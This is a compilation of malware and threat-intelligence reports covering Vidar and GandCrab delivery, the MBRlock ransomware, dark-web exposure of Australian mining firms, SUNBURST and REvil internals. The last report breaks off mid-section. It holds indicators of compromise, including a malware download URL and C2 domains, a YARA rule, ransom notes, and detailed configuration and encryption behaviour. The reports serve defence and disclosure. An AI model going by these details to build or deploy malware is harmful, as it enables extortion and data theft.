# Vidar and GandCrab: Stealer and Ransomware Combo Observed in the Wild We have been tracking a prolific malvertising campaign for several weeks and captured a variety of payloads, including several stealers. One that we initially identified as Arkei turned out to be Vidar, a new piece of malware recently analyzed in detail by Fumik0_ in his post: Let’s dig into Vidar – An Arkei Copycat/Forked Stealer (In-depth analysis). In Norse Mythology, Víðarr is a god and son of Odin, whose death it is foretold he will avenge. Being referred to as “The Silent One” seems to be fitting for this stealer that can loot from browser histories (including Tor Browser) and cryptocurrency wallets, capture instant messages, and much more. We witnessed a threat actor using the Fallout exploit kit to distribute Vidar. But victims won’t notice that as much, as the secondary and noisier payload being pushed is GandCrab ransomware. ## Overview A malvertising chain leads us to the Fallout exploit kit followed by what we thought was an Arkei stealer. Upon closer look, while the sample did share a lot of similarities with Arkei (including network events), it was actually a newer and, at the time, not yet publicly described piece of malware now identified as Vidar. Beyond Vidar’s stealer capabilities, we also noticed a secondary payload that was retrieved from Vidar’s own command and control (C2) server. The infection timeline showed that victims were first infected with Vidar, which tried to extract confidential information, before eventually being compromised with the GandCrab ransomware. ## Malvertising and Fallout Exploit Kit Torrent and streaming video sites drive a lot of traffic, and their advertising is often aggressive and poorly-regulated. A malicious actor using a rogue advertising domain is redirecting these site visitors according to their geolocation and provenance to at least two different exploit kits (Fallout EK and GrandSoft EK), although the former is the most active. Stealers such as AZORult seem to be the favorite payload here, but we also noticed that Arkei/Vidar was quite common. In this particular instance, we saw Vidar being pushed via the Fallout exploit kit. Vidar is sold as a product, and as such can be distributed by several different threat groups through different campaigns. Vidar customers can customize the stealer via profiles, which gives them a way to adjust which kind of data they are interested in. Beyond the usual credit card numbers and other passwords stored in applications, Vidar can also scrape an impressive selection of digital wallets. Upon execution on the system, Vidar will search for any data specified in its profile configuration and immediately send it back to the C2 server via an unencrypted HTTP POST request. This includes high-level system details (specs, running processes, and installed applications) and stats about the victim (IP address, country, city, and ISP) stored in a file called information.txt. This file is packaged along with other stolen data and zipped before being sent back to the C2 server. ## GandCrab as a Loader Vidar also offers to download additional malware via its command and control server. This is known as the loader feature, and again, it can be configured within Vidar’s administration panel by adding a direct URL to the payload. However, not all instances of Vidar (tied to a profile ID) will download an additional payload. In that case, the server will send back a response of “ok” instead of a URL. Within about a minute after the initial Vidar infection, the victim’s files will be encrypted and their wallpaper hijacked to display the note for GandCrab version 5.04. ## Ransomware as a Last Payload While ransomware experienced a slowdown in 2018, it is still one of the more dangerous threats. In contrast to many other types of malware, ransomware is instantly visible and requires a call to action, whether victims decide to pay the ransom or not. However, threat actors can use ransomware for a variety of reasons within their playbook. It could be, for instance, a simple decoy where the real goal is to irreversibly corrupt systems without any way to recover lost data. But as we see here, it can be coupled with other threats and used as a last payload when other resources have already been exhausted. As a result, victims get a double whammy. Not only are they robbed of their financial and personal information, but they are also being extorted to recover the now encrypted data. Malwarebytes users are protected against this threat at multiple levels. Our signatureless anti-exploit engine mitigates the Internet Explorer and Flash Player exploits delivered by the Fallout exploit kit. We detect the dropped stealer as Spyware.Vidar and also thwart GandCrab via our anti-ransomware module. ## Acknowledgements Many thanks to Fumik0_ and @siri_urz for their inputs and Vidar payload identification. ## Indicators of Compromise (IOCs) **Vidar binary** E99DAF10E6CB98E93F82DBE344E6D6B483B9073E80B128C163034F68DE63BE33 **Vidar C2** kolobkoproms[.]ug **Loader URL (GandCrab)** ovz1.fl1nt1kk.10301.vps.myjino[.]ru/topup.exe **GandCrab binary** ABF3FDB17799F468E850D823F845647738B6674451383156473F1742FFBD61EC
# MBRlock Ransomware **Aliases:** Haxlocker, Dexcrypt Этот крипто-вымогатель шифрует диски пользователей, а затем требует выкуп в 30 юаней, чтобы вернуть файлы. Оригинальное название: MBRlock и Hax. Китайское название: 易语言程序. На файле написано: Hax.exe. Написан на языке FlyStudio. В обновлениях также могут быть неродственные варианты. ## Обнаружения: - DrWeb -> Trojan.MBRlock.280 - ALYac -> Trojan.Ransom.MBRLock - Avira (no cloud) -> TR/Ransom.MBRlock.qqmpg - BitDefender -> Gen:Variant.Ransom.MBRLock.3 - ESET-NOD32 -> Win32/MBRlock.AZ - Malwarebytes -> Trojan.MalPack.FlyStudio - Microsoft -> Ransom:Win32/Dexcrypt - Rising -> Ransom.Dexcrypt!1.B151 (CLASSIC) - TrendMicro -> Ransom_HAXLOCKER.THBIBH К зашифрованным файлам добавляется расширение *нет данных*. Активность этого крипто-вымогателя пришлась на начало февраля 2018 г. Ориентирован на китайских и англоязычных пользователей, что не мешает распространять его по всему миру. Запиской с требованием выкупа выступает чёрный экран блокировки. ### Содержание записки о выкупе: ``` Your disk have a lock!!! Please enter the unlock password yao mi ma gei 30 yuan jia qq 2055965068 ``` **Перевод записки на русский язык:** На вашем диске замок!!! Введите пароль разблокировки. Пароль за 30 юаней на qq 2055965068. ## Технические детали Может распространяться путём взлома через незащищенную конфигурацию RDP, с помощью email-спама и вредоносных вложений, обманных загрузок, эксплойтов, веб-инжектов, фальшивых обновлений, перепакованных и заражённых инсталляторов. !!! Если вы пренебрегаете комплексной антивирусной защитой класса Internet Security или Total Security, то хотя бы делайте резервное копирование важных файлов по методу 3-2-1. После установки MBRLocker сразу перезагружает компьютер, а жертве показывается чёрный экран с изображением черепа в ASCII и сообщением отправить 30 юаней на адрес qq 2055965068, чтобы вернуть доступ к компьютеру. Требует права администратора на блокировку MBR. Получив права, перезаписывает MBR. 👉 Восстановить доступ можно стандартными средствами восстановления Windows: fixmbr и fixboot. 👉 Предварительно защитить диск можно с помощью бесплатного инструмента MBRFilter. ## Список файловых расширений, подвергающихся шифрованию: .BMP, .CUR, .GIF, .ICO, .JPG, .MID, .PNG, .prn, .txt, .WAV (10 расширений). Это текстовые файлы, фотографии, музыка, иконки, курсоры и пр. **Файлы, связанные с этим Ransomware:** - Ransomware MBRLock.exe (Hax.exe) - runas.exe - <random>.exe - 360.dll и другие Судя по результатам анализа, использует файлы от китайского антивируса 360 Security. **Расположения:** - \Desktop\Ransomware MBRLock.exe - C:\Windows\System32\runas.exe **Записи реестра, связанные с этим Ransomware:** См. ниже результаты анализов. **Сетевые подключения и связи:** См. ниже результаты анализов. **Результаты анализов:** ANY.RUN анализ и обзор >> Гибридный анализ >> VirusTotal анализ >> Другой анализ >> Степень распространённости: низкая. Подробные сведения собираются регулярно. ## Варианты **Вариант от 28 июня 2020:** Контакт в QQ: ID 3462958206. Результаты анализов: VT + IA **Вариант от 29 октября 2020:** Контакт в QQ: ID 430240479 Текст на экране: ``` Warning!!! Because you do not study well, so your computer has been encrypted by me, want to decrypt please study well!!! Automatic decryption time: 32,767 days to go. Decryption add QQ: 430240479 - Beiliu - Powered By Beiguo ``` Код для этого варианта: beiliu666NB ## Обнаружения: - ALYac -> Trojan.Ransom.MBRlock - Avira (no cloud) -> TR/Ransom.MBRlock.kdilv - BitDefender -> Generic.Ransom.MBRLock.330538BF - DrWeb -> Trojan.MBRlock.301 - ESET-NOD32 -> A Variant Of Win32/MBRlock.AQ - Kaspersky -> HEUR:Trojan-Ransom.Win32.Mbro.gen - Malwarebytes -> Ransom.MBRLock - Microsoft -> Ransom:Win32/Molock.A!bit - Rising -> Ransom.MBRlock!1.B6DC (CLASSIC) - Tencent -> Win32.Trojan.Mbro.Wtxk - TrendMicro -> Ransom.Win32.MBRLOCKER.SM **Вариант от 5 января 2021:** Файлы: covid21.exe, covid.vbs, covid21.vbs, covid21.bat, screenscrew.exe, corona.vbs, covid.bmp, PayloadMBR.exe, PayloadGDI.exe, CLWCP.exe Обнаружения: - ALYac -> Trojan.Agent.KillMBR - Avira (no cloud) -> TR/KillMBR.NDS.1 - BitDefender -> Dropped:Application.Joke.Blurscrn.A - DrWeb -> Trojan.KillMBR.24874 - ESET-NOD32 -> A Variant Of Win32/KillMBR.NDS - Malwarebytes -> Ransom.Winlock - Microsoft -> Ransom:Win32/MBRLocker.DA!MTB - Rising -> Ransom.MBRLocker!8.F8C3 (CLOUD) - Tencent -> Win32.Trojan.Diskwriter.Dxni - TrendMicro -> Ransom.Win32.MBRLOCKER.THAABBA **Вариант от 6 января 2021:** Файл: mbr lock.bin Результаты анализов: VT Обнаружения: - ALYac -> Trojan.Ransom.MBRlock - DrWeb -> Trojan.Siggen9.27655 - ESET-NOD32 -> A Variant Of Win32/KillMBR.NDS - Kaspersky -> Trojan.Win32.DiskWriter.ebe - Malwarebytes -> Trojan.MBRLock - Microsoft -> Trojan:Win32/Killmbr - Rising -> Trojan.KillMBR!1.C48A (CLASSIC) - TrendMicro -> Trojan.Win32.KILLMBR.AC **Вариант от 7 января 2021:** Результаты анализов: VT + VT **Вариант от 1 марта 2021:** Результаты анализов: VT **Вариант от 22 ноября 2021:** Файл: 1.exe Обнаружения: - DrWeb -> Trojan.KillMBR.24875 - BitDefender -> Trojan.GenericKD.38108433 - ESET-NOD32 -> Win64/KillMBR.G - Kaspersky -> Trojan.Win64.Agentb.beg - Microsoft -> Trojan:Win32/Sabsik.FL.B!ml - Symantec -> Trojan.Gen.2 - Tencent -> Win32.Trojan.Trojan.Ovoa - TrendMicro -> CallTROJ_GEN.R002H0CKP21 **Вариант от 28 ноября 2021:** Файл: Cmd.Exe Обнаружения: - DrWeb -> Trojan.KillMBR.24872 - BitDefender -> Trojan.GenericKD.47511372 - ESET-NOD32 -> A Variant Of Win32/KillMBR.NEJ - Kaspersky -> Trojan.Win32.DiskWriter.hdc - Microsoft -> Trojan:Win32/Sabsik.FL.B!ml - Symantec -> Trojan.Gen.MBT - TrendMicro -> TROJ_GEN.R002H0DKS21 **Вариант от 18 декабря 2021:** Файл: DiskKiller-Clean.exe Только показывает сообщение, не повреждая MBR. Обнаружения: - DrWeb -> Trojan.MBRlock.320 - TrendMicro -> TROJ_GEN.R002H06LI21
# Australian Mining Companies and Cybercriminals While Australian mining companies are busy extracting natural minerals from their lands, cybercriminals are busy extracting sensitive information from mining companies’ infrastructures and employees. For more than a century, Australia’s economy has significantly benefited from the mining industry, with a particularly strong influence in the last decade. Employing over 260,000 people and being valued at more than 200 billion AUD, the mining industry is the primary contributor to the Australian economy, and in parallel under the spotlight for many cybercriminals. As growth of this industry continues to be evident, cybercriminals may be seen profiting more and more from the mining companies’ sensitive information. This industry, once relying almost solely on human work, has now evolved with the digital age to make use of technological support for day-to-day operations – naturally creating more opportunities for cybercriminals to exploit. Australia’s mining industry comprises numerous companies; however, for this research, we’ve decided to look into the top 5 companies to identify the interest of cybercriminals in this industry. The research consists of an overview of numerous cyber threats that we have identified, which if exploited correctly could cause significant risk to this industry. The highlights include: - KELA identified more than 91,000 leaked employee credentials pertaining to the top 5 Australian mining companies, leaked through third-party breaches over the last few years. - KELA discovered multiple compromised accounts related to employees in the Australian mining industry, which might provide access to sensitive corporate services. - KELA observed numerous network vulnerabilities in the Internet-facing infrastructure of the top 5 companies in the mining industry. - KELA detected a compromised network access listed for sale. Upon research, KELA identified that the victim is a company that provides services and stores sensitive data belonging to companies in the mining and energy sector in Australia. ## Practicing Safety Across the Board: Miners Must Maintain Both Physical and Cyber Safety Mining employees are busy in the underground, but what they may not know is that cybercriminals are just as busy in their underground cybercrime ecosystem. Diving into our sources, we’ve identified more than 91,000 leaked employee credentials pertaining to the top 5 Australian mining companies. These exposed credentials are email addresses or email:password pairs belonging to mining companies’ employees, extracted from various breached databases constantly traded and circulating in the underground. These databases mostly include private and corporate email addresses and associated passwords, including plaintext ones. Looking further into this data, we found that these credentials were exposed in well-known breaches, such as NitroPDF, Canva, and several others. The threats on mining companies’ employees stemmed mostly from third-party breaches on victims unrelated to the mining industry; however, we also identified a targeted attack where cybercriminals succeeded in obtaining users’ credentials of a website related to the mining industry. KELA observed a breached database that was offered on the now unavailable Cit0day shop. Cit0Day.in – a private underground service advertised on hacking forums to other cybercriminals – operated as a database-as-a-service market by collecting hacked databases and then providing access to usernames, email addresses, and even cleartext passwords to other hackers for daily or monthly fees. Due to the automation of this type of market, Cit0day essentially offered actors to trade in much higher volumes but has been taken down by authorities in late 2020. However, with KELA’s caching capabilities, we were able to identify more than 36,000 user credentials (including email addresses with plaintext passwords) that have been leaked in a breach of a South African website that provides daily news and updates about mining around the world. While looking into the domains of the email addresses leaked, we were able to discover that nearly 250 corporate email addresses of Australian individuals were leaked, with the majority of those being corporate email addresses for individuals in the mining industry in Australia. One of the recent breaches where we identified compromised credentials of mining companies’ employees was in the Capital Economics breach discovered by KELA. The exposed data here contained data not only of Australian mining companies’ employees but also data of users all over the world. Due to the fact that the victim – Capital Economics – is one of the leading independent economic research companies in the world, many of the records leaked included corporate email addresses, which could be of great value to cybercriminals looking to target corporate victims. ## What Value is Seen in Leaked Credentials of Mining Companies’ Employees? Australia’s mining industry has seen a vast shift towards automation over the last few years. The systems and processes, controlled by employees in the Australian mining industry, are vulnerable and valuable for cybercriminals looking for their next target. Leaked credentials lay out a plethora of opportunities for cybercriminals that get their hands on them. Cybercriminals who obtain this data could use it to perform actions such as phishing schemes in order to lure further victims into downloading malicious links to plant malware. By doing so, cybercriminals can eventually infect systems with ransomware that could disrupt daily mining processes. In a worst-case scenario, these cybercriminals may use this opportunity to lock systems and prevent mining companies from continuing operations until a ransom is paid. As learned from analyzing past ransomware attacks and the ransom amounts demanded, we’ve observed that ransomware groups generally price their ransom demands based on company revenue. That being said, the ransom that could be demanded from these companies will likely be in the millions, if not more. Other attacks that could be enabled through leaked credentials could be business email compromises, social engineering attacks, and other internal network exploitations. What is certain is that with leaked credentials circulating in the Dark Net, Australian mining companies are actively at risk. The exposed sensitive data provides cybercriminals with opportunities to cause disruption of activities for long periods of time on Australia’s most profitable critical infrastructure. ## Access to Corporate Services Through Compromised Accounts While leaked credentials pose a significant threat to organizations when utilized correctly by the obtainers, compromised accounts are both easy to purchase and instantly ready to use by its buyers. KELA discovered multiple compromised accounts related to employees in the Australian mining industry, essentially providing buyers with access to portals behind sensitive corporate domains and subdomains. Compromised accounts refer to any credentials, cookie sessions, and additional technical fingerprints that are available for sale in various automated shops, such as Genesis, which is automatically monitored by KELA’s technologies. These accounts are stolen from victims’ computers generally via infections by banking trojans or other stealers. Such accounts can grant access to tools and software used in a targeted environment, such as RDP, VPN solutions, and more. They could be leveraged by a sophisticated actor to gain initial network access to the relevant corporate’s network. These markets grant threat actors with access to desired services with the click of a button and at a price of a couple of dollars per bot. In our research, we identified that accounts for security token services were compromised for three of the top 5 companies. These services instantly provide cybercriminals with access to the companies’ corporate environments, enabling them to manipulate security mechanisms within them. Within these compromised accounts, we also identified that accounts to Active Directory Services were compromised – accounts that can be used to access systems and applications located across organizational boundaries. Upon further research, we also detected a compromised account that likely leads to the intranet of one of the companies. By purchasing this account, the attacker is instantly granted access to the internal computer network of the organization and gains visibility into internally shared information by the organization. Last, we identified an instance of an infected computer that contains details to access a mining company’s contractor website. For the same company, the portal used to securely transfer files to clients could be compromised through the bots available for purchase. The examples of compromised accounts listed above can easily and quickly provide attackers with the initial access they need in order to enter the corporate network of these mining companies. ## Mapping Out Mining Companies’ Network Vulnerabilities KELA identified multiple network vulnerabilities – weaknesses in the Internet-facing infrastructures – pertaining to the top 5 companies of the Australian mining industry. Among these, KELA identified multiple accessible developer-related environments that were easily detectable by the presence of indicative keywords in the hostnames. When analyzing these hostnames, we found that they require corporate credentials to sign in. By leveraging the tens of thousands of credentials that are publicly circulating, an attacker may be able to access these internal resources by testing out the different corporate email addresses and passwords that are exposed. Last, KELA identified that some of the companies researched are actively operating with technologies that have known flaws exposed to the public internet. For example, one company was found to be using version 2.0 of ASP.NET (an open-source web framework for .NET) for its contractor system which can be exploited through multiple publicly disclosed CVEs. While each threat on its own may seem minimal, the combination of available sensitive resources proves to pose a real-time risk to the organizations. In this instance, we were able to find both an internal resource that’s publicly exposed to the internet (i.e., the sensitive hostname) and the opportunity to gain access to said resources (i.e., the 91,000+ leaked credentials related to these organizations or multiple compromised accounts available for sale on automated botnet markets). ## Attack Surface Threats Through the Mining Industry Supply Chain As ransomware attacks grow, we’ve been seeing an increasing trend of ransomware-as-a-service, with ransomware operators working together with affiliates and initial access brokers to help simplify the infection process. While looking into initial network access for sale related to mining companies, we were able to identify compromised access to an Australian insurance company, which offers services tailored to the Australian mining and energy sector. The victim whose services consist of protecting businesses in the mining industry from cyber risks was targeted by network exploitation. The threat actor posted this access specifying that he had Citrix access with domain admin privileges for sale and priced it at $2,500. This showcases a typical example of how a buyer can purchase this access to perform lateral movement in order to compromise other areas of the network and potentially gain sensitive information related to clients – in this case, mining companies using the victim’s insurance services. ## Summing Up the Exposure of Australian Mining Companies in the Dark Net As presented above, Australian mining companies play a critical role in supporting their country’s economy. What mining companies and their employees must understand is that this critical infrastructure is just as important and appealing in cybercriminals’ eyes. With the numerous threat types that we observed in the Dark Net, mining companies and their employees are facing a serious risk that continues to grow as the industry undergoes a digitization process. Throughout this research, we’ve presented numerous threats posed to the employees, networks, and supply chains of companies in the Australian mining industry. Each threat is obviously critical on its own; however, when combining several of them, the overall threat instantly becomes more severe. During this research, we’ve taken a look at the top 5 companies; however, the industry, as mentioned earlier, is the greatest influencer on the Australian economy. The mining industry must be actively mitigating the ongoing threats that are targeting their environment. Based on the threats listed throughout this research, this could mean: 1. Investing in prioritization of vulnerability patching. 2. Implementing the necessary monitoring tools and systems, in order to be made aware of any threats that emerge in real time. 3. Educating employees not only about physical safety – which is something enforced and heavily practiced by mining companies – but also about cyber safety, including how their data should be safely used online, and how to properly identify suspicious activity. By combining ongoing monitoring with the necessary education and mitigation activities, the companies within this highly valuable industry can be sure to be one step ahead of attackers in order to mitigate threats and thwart attempts of cyber-attacks against them.
# Malware Analysis Report: SUNBURST **Updated April 15, 2021:** The U.S. Government attributes this activity to the Russian Foreign Intelligence Service (SVR). Additional information may be found in a statement from the White House. ## Summary ### Description This report provides detailed analysis of several malicious artifacts associated with a sophisticated supply chain compromise of SolarWinds Orion software, identified by the security company FireEye as SUNBURST. After being delivered as part of certain SolarWinds updates, a trojanized version of the `solarwinds.orion.core.businesslayer.dll` containing SUNBURST was installed by a legitimate SolarWinds installer application. The modified dynamic-link library (DLL) contains an obfuscated backdoor that allows a remote operator to execute various functions on the compromised system, as well as deploy additional payloads and exfiltrate data. The embedded SUNBURST code communicates to the remote operator using XOR encryption and modified Base64 encoding. To maintain a low profile, the SUNBURST code will evade certain security software running on the target system. ### Submitted Files (4) - `019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134` (SolarWinds.Orion.Core.Business...) - `32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77` (SolarWinds.Orion.Core.Business...) - `ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6` (SolarWinds.Orion.Core.Business...) - `d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600` (SolarWinds-Core-v2019.4.5220-H...) ### Domains (1) - `avsvmcloud.com` ### Findings - `32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77` ### Tags - backdoor, remote-access-trojan, trojan ### Details - **Name:** SolarWinds.Orion.Core.BusinessLayer.dll - **Size:** 1011032 bytes - **Type:** PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows - **MD5:** b91ce2fa41029f6955bff20079468448 - **SHA1:** 76640508b1e7759e548771a5359eaed353bf1eec - **SHA256:** 32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77 - **SHA512:** 6a81f082f36ccbda48070772c5a97e1d7de61ad77465e7befe8cbd97df40dcc5da09c461311708e3d57527e323484b05cfd3e72a3c70e1 - **ssdeep:** 12288:Zx7m/z9aEBzvnvLtYAi6uLlYQ69BBpIvF1tjpH7BKi+0A8vca9owQ:6aEBTvRBi6uL6dIvDtjpH9+0A8vca9oD - **Entropy:** 5.582827 ### Antivirus Findings - Ahnlab: Backdoor/Win32.SunBurst - Antiy: Trojan[Backdoor]/MSIL.Agent - Avira: TR/Sunburst.AO - BitDefender: Trojan.Sunburst.A - Clamav: Win.Countermeasure.Sunburst-9809152-0 - Comodo: Backdoor - Cyren: W32/Trojan.BCCG-2955 - ESET: a variant of MSIL/SunBurst.A trojan - Emsisoft: Trojan.Win32.Sunburst (A) - Ikarus: Backdoor.Sunburst - K7: Trojan (00574a531) - Lavasoft: Trojan.Sunburst.A - McAfee: Trojan-sunburst - Microsoft Security Essentials: Trojan:MSIL/Solorigate.BR!dha - NANOAV: Trojan.Win32.SunBurst.iduxjk - Sophos: Mal/Sunburst-A - Symantec: Backdoor.Sunburst!gen1 - Systweak: trojan-backdoor.sunburst-r - TrendMicro: Backdoo.6F8C6A1E - TrendMicro House Call: Backdoo.6F8C6A1E - Vir.IT eXplorer: Trojan.Win32.SunBurst.A - VirusBlokAda: TScope.Trojan.MSIL - Zillya!: Backdoor.Sunburst.Win32.2 ### YARA Rules ```yara rule CISA_10318927_01 : trojan rat SOLAR_FIRE { meta: Author = "CISA Code & Media Analysis" Incident = "10318927" Date = "2020-12-13" Last_Modified = "20201213_2145" Actor = "n/a" Category = "TROJAN RAT" Family = "SOLAR_FIRE" Description = "This signature is based off of unique strings embedded within the modified Solar Winds app" MD5_1 = "b91ce2fa41029f6955bff20079468448" SHA256_1 = "32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77" MD5_2 = "846e27a652a5e1bfbd0ddd38a16dc865" SHA256_2 = "ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6" strings: $s0 = { 63 00 30 00 6B 00 74 00 54 00 69 00 37 00 4B 00 4C 00 43 00 6A 00 4A 00 7A 00 4D 00 38 00 44 } $s1 = { 41 00 41 00 3D 00 3D 00 00 21 38 00 33 00 56 00 30 00 64 00 6B 00 78 00 4A 00 4B 00 55 } $s2 = { 63 00 2F 00 46 00 77 00 44 00 6E 00 44 00 4E 00 53 00 30 00 7A 00 4B 00 53 00 55 00 30 00 42 00 41 00 41 00 3D 00 3D } $s3 = { 53 00 69 00 30 00 75 00 42 00 67 00 41 00 3D 00 00 21 38 00 77 00 77 00 49 00 4C 00 6B 00 33 00 4B 00 53 00 79 00 30 00 4 } condition: all of them } ``` ### Additional Information This file is a 32-bit .NET DLL named "SolarWinds.Orion.Core.BusinessLayer.dll." It is a modified SolarWinds-signed plugin component of the Orion platform that has been patched with the SUNBURST backdoor. This malicious file was signed with a digital certificate issued by Symantec to SolarWinds and should be considered compromised. **Capabilities of SUNBURST:** - Sets a 12 to 14 day delayed execution time - Stealth - Command and Control (C2) communication - Collect system information - Upload system information from the victim system - Run specified tasks - Terminate processes - Download, read, write, move, delete, and execute files - Compute file hashes - Reboot the system - Adjust process privileges **Delayed Execution:** SUNBURST is executed by a legitimate SolarWinds software application designed to load and run SolarWinds plugins. Once installed, it compares a randomly generated value between 288 and 336 hours (12 - 14 days) after the file was written. The malware will sleep until this calculated time frame, after which it will begin C2 sessions to retrieve and execute commands or "Jobs" on behalf of the adversary. **Stealth:** SUNBURST uses obfuscated blocklists consisting of hashed process and service names to identify analysis tools and antivirus software components. It utilizes a modified version of the FNV-1a hash algorithm to determine if specific processes are running on the target system. **Command and Control:** During runtime, SUNBURST hashes its own parent process name and compares it to a specific value. If it does not match, the execution will stop, and the DLL will continue normal activity. **Upload System Information:** The “UploadSystemDescription” function is used to exfiltrate gathered system information. It parses through HTTP session information to form a request sent to the remote C2 server. **Run Specified Tasks:** The "ExecuteEngine" is a core function that uses the “job” variable to carry out certain tasks for the adversary. **Terminate Processes:** The malware can kill processes by their ID. **Delete File:** The malware can delete files from the system. **Compute File Hashes:** The malware can compute and compare file hashes. **Reboot System:** The malware can initiate a system reboot. **Adjust Process Privileges:** The malware can adjust privileges for a target process on the victim system. **Block List Checking Functions:** The Update function is critical to starting the SUNBURST C2 functionality. If any process on the hard-coded blocklist is running on the target system, the SUNBURST malware will not initiate its C2 session. ### Whois Information for avsvmcloud.com - **Domain Name:** avsvmcloud.com - **Registrar:** GoDaddy.com, LLC - **Creation Date:** 2018-07-25 - **Updated Date:** 2020-10-08 - **Domain Status:** clientTransferProhibited, clientUpdateProhibited, clientRenewProhibited, clientDeleteProhibited This report provides a comprehensive overview of the SUNBURST malware, its capabilities, and its impact on compromised systems.
# REvil/Sodinokibi Ransomware ## Summary The REvil (also known as Sodinokibi) ransomware was first identified on April 17, 2019. It is used by the financially motivated GOLD SOUTHFIELD threat group, which distributes ransomware via exploit kits, scan-and-exploit techniques, RDP servers, and backdoored software installers. Secureworks® Counter Threat Unit™ (CTU) analysis suggests that REvil is likely associated with the GandCrab ransomware due to similar code and the emergence of REvil as GandCrab activity declined. CTU researchers attribute GandCrab to the GOLD GARDEN threat group. REvil can perform the following tasks. Most of these capabilities are configurable, which allows an attacker to fine-tune the payload: - Exploit the CVE-2018-8453 vulnerability to elevate privileges - Terminate blacklisted processes prior to encryption to eliminate resource conflicts - Wipe the contents of blacklisted folders - Encrypt non-whitelisted files and folders on local storage devices and network shares - Exfiltrate basic host information ## Configuration The REvil sample analyzed by CTU researchers stored the encoded configuration as a resource named .m69 within the unpacked binary. The first 32 bytes of this resource form the key used to decode the configuration. The remaining bytes are the encoded configuration. The decoded value is a JSON-formatted string that contains the configurable REvil elements. An additional REvil configuration parameter not located within the configuration JSON is the "-nolan" switch, which can be passed to the ransomware executable at runtime. By default, REvil attempts to identify attached network shares and encrypt their contents. Passing the -nolan switch to the REvil executable disables this functionality. | Key | Definition | |------|------------| | dbg | True/false value used by the malware author during development (referenced only when determining if the victim is Russian) | | dmn | Semicolon-delimited list of fully qualified domain names that represent REvil command and control (C2) servers | | exp | True/false value that determines if REvil should attempt to elevate privileges by exploiting a local privilege escalation (LPE) vulnerability | | fast | True/false value that determines how files larger than 65535 bytes are encrypted | | img | Base64-encoded value of the text placed at the top of the background image created and set by REvil | | nbody| Base64-encoded value of the ransomware note text dropped in folders where files were encrypted | | nname| Filename string of the ransomware note dropped in folders where files were encrypted | | net | True/false value that determines if REvil should attempt to exfiltrate basic host and malware information to the configured C2 servers listed in the dmn key | | pid | Integer value that is only referenced if the "net" key is set to send basic host and malware information to the C2 server; likely associated with the sub key and could be a campaign or affiliate identifier | | sub | Integer value that is only referenced when sending basic host and malware information to the C2 server if configured to do so via the net key; likely associated with the "pid" config key and could be a campaign or affiliate identifier | | pk | Base64-encoded value representing the attacker's public key used to encrypt files | | prc | An array of strings representing process names that REvil attempts to terminate prior to encrypting and/or wiping folders to prevent resource conflicts | | wipe | True/false value that determines if REvil attempts to wipe blacklisted folders specified in the wfld key | | wfld | An array of strings representing blacklisted folder name values; if the wipe key is configured, then REvil attempts to delete (wipe) these folders prior to encrypting | | wht | Contains the following subkeys representing whitelisted values that REvil will not encrypt: ext — Whitelisted file extensions, fld — Whitelisted folder name values, fls — Explicit whitelisted filenames | ## Delivery When REvil was first discovered, it was delivered to targets via exploitation of Oracle WebLogic vulnerabilities. Since then, the threat actors have expanded delivery to include malicious spam campaigns, RDP attacks, and other attack vectors. There are reports that the threat actors leveraged a strategic web compromise (SWC) to deliver REvil by compromising the Italian WinRAR website and replacing the WinRAR installation executable with an instance of the malware. The SWC resulted in the infection of unsuspecting WinRAR customers' systems. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers. The diversity and complexity of delivery mechanisms employed by the REvil threat actors in a short period of time suggest a high level of sophistication. ## Execution flow Create mutex and validate runtime privileges Once all functions are resolved, REvil verifies that there are no other instances of itself running on the host by attempting to create a mutex using a hard-coded value as its name. If mutex creation is successful, REvil queries the "exp" key within its configuration and attempts to elevate privileges using an LPE exploit if this key is enabled. REvil executes either 32-bit or 64-bit shellcode depending on the host's architecture. The code appears to exploit CVE-2018-8453 using a method similar to one detailed by researchers. REvil performs another privilege-related validation within its main function prior to profiling host information. If REvil's current process is running with system-level integrity, then the process attempts to impersonate the security context of the first explorer.exe process it finds running on the compromised system. ## Prepare for encryption This phase of REvil's execution flow generates and stores encryption configuration and victim metadata elements. ### Generate unique ID (UID) REvil generates a unique identifier (UID) for the host using the following process. The UID is part of the payment URL referenced in the dropped ransom note. 1. Obtains the volume serial number for the system drive 2. Generates a CRC32 hash of the volume serial number using the hard-coded seed value of 0x539 3. Generates a CRC32 hash of the value returned by the CPUID assembly instruction using the CRC32 hash for the volume serial number as a seed value 4. Appends the volume serial number to the CPUID CRC32 hash For example, the volume serial number F284306B results in a CRC32 hash value of 6EBCF131. The CPUID value of "Intel(R) Core(TM) i7-4850HQ CPU @ 2.30GHz" results in a CRC32 hash value of F3FD1FCF. REvil appends the volume serial number (F284306B) to the CPUID CRC32 hash (F3FD1FCF) to create the UID string "F3FD1FCFF284306B". ### Generate encryption keys REvil determines if it has already generated and stored the session encryption keys in the host's registry. The malware defaults to using the HKLM registry hive. However, if writing to this hive is unsuccessful, it uses HKCU. All REvil samples observed by CTU researchers as of this publication use the hard-coded "Software\recfg" registry subkey. The presence of this key or the associated values could indicate a REvil infection. | Registry | Registry value description | |----------|----------------------------| | pk_key | Session public key | | sk_key | Session private key encrypted with the attacker's public key in REvil's configuration | | 0_key | Session private key encrypted with the public key embedded in REvil's binary | REvil generates a session public/private keypair if the registry values do not exist. The 32-byte session public key is stored as pk_key within the recfg registry without encoding or encryption. The session private key is encrypted using the attacker's public key, which is stored in the pk_key of REvil's JSON configuration. The resulting 88-byte encrypted value is then stored as sk_key within the recfg registry subkey. Finally, the original unencrypted session private key is encrypted using a different public key that is hard-coded within the REvil binary. ### Generate random file extension REvil checks the Software\recfg registry key for the presence of the rnd_ext value. This value contains the random extension generated at runtime that is appended to encrypted files. If this registry value does not exist, the malware generates a random string of lowercase letters (a-z) and numbers (0-9) ranging from five to ten characters in length (inclusive) and preceded by a period (e.g., .9781xsd4). This string is assigned to the rnd_ext value within the recfg registry subkey. ### Profile host information 